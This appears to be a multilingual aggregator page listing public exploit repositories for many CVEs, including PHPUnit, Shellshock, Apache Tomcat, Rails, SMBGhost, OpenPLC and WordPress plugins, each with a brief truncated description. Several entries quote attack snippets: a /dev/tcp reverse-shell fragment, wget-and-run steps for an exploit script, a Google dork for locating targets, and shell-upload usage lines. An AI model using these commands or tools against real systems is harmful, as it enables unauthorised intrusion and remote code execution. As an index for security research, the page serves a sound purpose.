CVE-2017-9841

phpunit-shell ⭐ CVE-2017-9841 का शोषण करने के लिए एक सरल python3 स्क्रिप्ट। शोषण - CVE-2017-9841 ❗ सरल स्क्रिप्ट जो PHPUnit 4.8.28 से पहले और 5.x 5.6.3 से पहले में पाई गई रिमोट कोड निष्पादन भेद्यता का शोषण करती है। यह लक्ष्य पर उपयोगकर्ता इनपुट सिस्टम कमांड के साथ POST अनुरोध भेजती है।...

CVE-2014-6271

Hellshocker 0.1.1 Tool to exploit Shellshock vulnerability Tired of using weak shellshock exploits or just "/bin/bash & /dev/tcp/IP/port 0&1" your way into the server? Yes, you need to upload and execute something more complex to the server, and base64 encoding a huge file is impossible for your...

CVE-2025-24813-PoC

CVE-2025-24813 – Proof of Concept 📖 Overview This repository contains a Proof of Concept PoC for CVE-2025-24813 , a vulnerability affecting affected software/product name here – update based on advisory. The PoC demonstrates the issue in a safe and reproducible way , to help researchers, defender...

CVE-2015-3224

CVE-2015-3224 Ruby-On-Rails Web Console RCE What is this? This is a metasploit module for Metasploit. I already have this module. Yes, this is packaged into metasploit. But with that module you can't get arbitrary command execution. I mean, you can only establish reverse/bind shell payloads with...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automate Exploitation and Detection This python program is a wrapper from the RCE SMBGhost vulnerability. All the credits for the working exploit to chompie1337. All the credits for the scanner to ioncodes. I just automate these functions in one program. You need to have in...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485:Jackson-databind RCE...

ruby-RCE-CVE-2019-5420-

إلغاء تسلسل ruby CVE-2019-5420 root@kitploit: https://github.com/PenTestical/CVE-2019-5420 المراجع: root@kitploit: 1 Ruby on Rails 命令执行漏洞payload实现过程 https://hackerone.com/reports/473888 بما أن ActiveSupport::MessageVerifier و ActiveSupport::MessageEncryptor يستخدمان Marshal كمُسلسِل افتراضي، فقد...

CVE-2025-0282-Full-version

Storks: Remote Code Execution Vulnerability Exploitation Tool Overview Storks is a Python-based Proof-of-Concept PoC tool designed to demonstrate a critical Remote Code Execution RCE vulnerability, identified as CVE-2025-0282 , in a specific network appliance. This vulnerability can be exploited ...

CVE-2025-24813-POC

CVE-2025-24813 Apache Tomcat RCE PoC Apache Tomcat में CVE-2025-24813, एक रिमोट कोड एक्जीक्यूशन RCE भेद्यता के लिए PoC। महत्वपूर्ण: यह PoC केवल आपके स्वयं के वातावरण का परीक्षण करने या शैक्षिक उद्देश्यों के लिए है। इस PoC का उपयोग बिना उचित प्राधिकरण के सिस्टम का शोषण करने के लिए करना प्रतिबंधित ...

CVE-2024-40110

Poultry Farm Management System v1.0 - RCE Exploit Vulnerability Type Unauthenticated File Upload with Remote Code Execution Description The Poultry Farm Management System v1.0 contains a critical vulnerability in the product upload functionality. The application fails to properly validate and...

CVE-2021-44967

CVE-2021-44967 root@kitploit: Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Discovered by: Y1LD1R1M Exploit Author: D3Ext Vendor Homepage: https://www.limesurvey.org/ Software Link:...

CVE-2024-38472

Creating a Remote Code Execution RCE Metasploit module for the SSRF vulnerability CVE-2024-38472 in Apache HTTP Server on Windows is challenging because SSRF itself doesn't directly result in RCE. However, SSRF can often be a step toward achieving RCE, especially if you can use it to interact wit...

CVE-2014-1303

CVE-2014-1303 PoC لأنظمة لينكس CVE-2014-1303 ثغرة تجاوز سعة الكومة في WebKit إثبات المفهوم لأنظمة لينكس. يُظهر هذا المستودع ثغرة تجاوز سعة الكومة في WebKit CVE-2014-1303 على نظام لينكس. مُستخدم في محاضرة seccamp. ملاحظة: الاستغلال الأصلي مكتوب لنظامي Mac OS X وPS4 بلاي ستيشن 4. لقد قمت بنقل واختب...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 Authenticated RCE CVE-2021-31630 هذا هو استغلال Proof-of-Concept حديث ومتوافق مع بايثون 3.13+ لثغرة CVE-2021-31630، وهي ثغرة في OpenPLC v3 تسمح لمستخدم مُصادَق عليه برفع طبقة عتاد مخصصة تحتوي على كود خبيث، مما يؤدي إلى تنفيذ أوامر عن بُعد RCE على المضيف. الاكتشاف الأصلي للثغرة والنشرة...

CVE-2019-3929

CVE-2019-3929 وحدة Metasploit لثغرة حقن الأوامر عن بُعد Crestron/Barco/Extron/InFocus/TeqAV CVE-2019-3929 وفقًا لوصف Tenable: "يمكن لمهاجم عن بُعد غير مصادَق تنفيذ أوامر نظام التشغيل بصلاحيات الجذر عبر طلبات مصممة خصيصًا إلى نقطة نهاية HTTP filetransfer.cgi. يبدو أن هذه الثغرة تؤثر على جميع الأجه...

libtiff: libtiff: Heap-based buffer overflow via crafted PixarLog-compressed TIFF image

A flaw was found in libtiff. A remote attacker could exploit this vulnerability by providing a specially crafted PixarLog-compressed TIFF image. This issue occurs when decoding Pixarlog codec images with the PIXARLOGDATAFMT8BITABGR output format and a specific stride value, leading to a heap-base...

-CVE-2022-1609

CVE-2022-1609 Bash poc for CVE-2022-1609 WordPress Weblizar Backdoor How to install ? root@kitploit: wget https://raw.githubusercontent.com/0xSojalSec/CVE-2022-1609/main/exploit.sh chmod +x exploit.sh ./exploit.sh How to use it ? root@kitploit: GH0ST3exP10it$ ./exploit.sh http://127.0.0.1:8080 +...

tplink-CVE-2017-11519

tplink-CVE-2017-11519 POC لـ TP-Link Archer C9 - إعادة تعيين كلمة مرور المسؤول وتنفيذ التعليمات البرمجية عن بُعد CVE-2017-11519 اطلع على الشرح الكامل في https://devcraft.io/posts/2017/07/21/tp-link-archer-c9-admin-password-reset.html...

CVE-2024-38475

CVE-2024-38475 POC Credit : सारा श्रेय इस व्यक्ति को जाता है: https://blog.orange.tw/ और https://x.com/orange8361 मैंने केवल उनके शोध से एक POC script बनाई है। Introduction : Apache HTTP Server 2.4.59 और इससे पहले के संस्करणों में modrewrite में आउटपुट का अनुचित एस्केपिंग एक हमलावर को URL को...

CVE-2025-5394

🚨 CVE-2025-5394 - رفع إضافات عشوائي بدون مصادقة في قالب Alone 📌 المنتج المتأثر: Alone – Charity Multipurpose Non-profit WordPress Theme الإصدارات: 🚀 مثال للاستخدام: root@kitploit: python3 CVE-2025-5394.py -help root@kitploit: usage: CVE-2025-5394.py -h -u URL -s SHELL CVE-2025-5394 Exploit | by...